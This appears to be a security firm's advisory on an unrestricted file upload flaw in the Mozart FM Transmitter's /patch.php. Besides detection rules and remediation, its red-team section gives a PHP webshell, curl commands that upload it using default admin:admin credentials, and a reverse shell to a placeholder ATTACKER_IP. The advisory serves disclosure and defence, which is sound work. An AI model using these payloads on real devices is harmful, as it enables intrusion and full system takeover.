CVE-2025-63227

Executive Summary

CVE-2025-63227 is a critical unrestricted file upload vulnerability in the Mozart FM Transmitter web management interface, specifically in the /patch.php endpoint. An authenticated attacker with administrative privileges can upload arbitrary files (e.g., PHP webshells) to the /patch/ directory, leading to remote code execution and full system compromise. The vulnerability affects version WEBMOZZI-00287 and has no known patch. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is high (CVSS 3.1 Base Score: 7.2). No public exploit code or proof-of-concept is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded device (Mozart FM Transmitter) and its web management interface.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin credentials.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access.
• Integrity (I): High (H) – Full system control.
• Availability (A): High (H) – Can disrupt service.

Base Score: 7.2 (High)
Threat Level: Critical due to potential for full system compromise and lack of patch.

Deep Dive & Mechanics

The vulnerability resides in the /patch.php endpoint of the Mozart FM Transmitter web interface. This endpoint is intended for firmware updates or patch uploads but lacks proper validation of file types and contents. An attacker with administrative credentials can upload any file, including PHP webshells, which are stored in the /patch/ directory. The server likely executes PHP files in this directory, allowing the attacker to execute arbitrary commands.

Attack Flow:

1. Attacker authenticates as admin (e.g., default credentials or brute force).
2. Attacker crafts a malicious PHP file (e.g., shell.php) containing a webshell.
3. Attacker sends a POST request to /patch.php with the file.
4. The file is saved to /patch/shell.php.
5. Attacker accesses /patch/shell.php to execute commands.

Root Cause: Lack of file type validation, missing MIME type checks, and no restrictions on file extensions.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code likely resembles:

// Vulnerable /patch.php
<?php
$target_dir = "/patch/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Upload failed.";
}
?>

A patched version would include:

// Patched /patch.php
<?php
$allowed_extensions = array("bin", "img", "zip");
$target_dir = "/patch/";
$file_extension = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type.");
}
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Upload failed.";
}
?>

Exploitation & Lab Setup

Red Team

Prerequisites: Admin credentials (e.g., admin:admin).
Lab Setup: Use a virtualized Mozart FM Transmitter or simulate the web interface.

Exploit Steps:

1. Create a PHP webshell:

   <?php system($_GET['cmd']); ?>
   

2. Upload via curl:

   curl -u admin:admin -F "file=@shell.php" http://target/patch.php
   

3. Execute commands:

   curl http://target/patch/shell.php?cmd=id
   

Advanced Payload: Use a reverse shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>

Blue Team

Detection: Monitor for unusual file uploads to /patch.php and access to /patch/ directory.
Honeypot: Deploy a fake /patch.php that logs upload attempts and alerts.
Mitigation: Restrict access to the web interface via firewall, change default credentials, and disable the /patch.php endpoint if not needed.

Indicators of Compromise (IOCs)

• File: /patch/shell.php or any unexpected .php file in /patch/
• Network: POST requests to /patch.php with multipart/form-data
• Logs: Access logs showing /patch/shell.php?cmd=
• Process: Unusual processes like bash, nc, or python spawned by the web server

Detection Engineering

YARA Rule

rule Mozart_Webshell_Upload {
    meta:
        description = "Detects PHP webshells uploaded to Mozart FM Transmitter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63227"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $exec_func = "exec("
        $shell_exec = "shell_exec("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and ($system_func or $exec_func or $shell_exec or $cmd_param)
}

Sigma Rule

title: Mozart FM Transmitter Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file upload attempts to /patch.php on Mozart FM Transmitter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/patch.php'
    condition: selection
falsepositives:
    - Legitimate firmware updates
level: high

Suricata Rule

alert http any any -> any any (msg:"Mozart FM Transmitter Unrestricted File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/patch.php"; http.request_body; content:"filename="; pcre:"/\.php$/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the /patch.php endpoint if not required. Restrict access to the web interface via IP whitelisting.
2. Short-term: Change default admin credentials immediately. Implement file type validation and extension whitelisting.
3. Long-term: Contact vendor for a firmware update. If unavailable, consider replacing the device with a secure alternative.
4. Compensating Controls: Deploy a WAF rule to block file uploads with .php extension. Monitor logs for suspicious activity.

Valters IT
Securing Digital Frontiers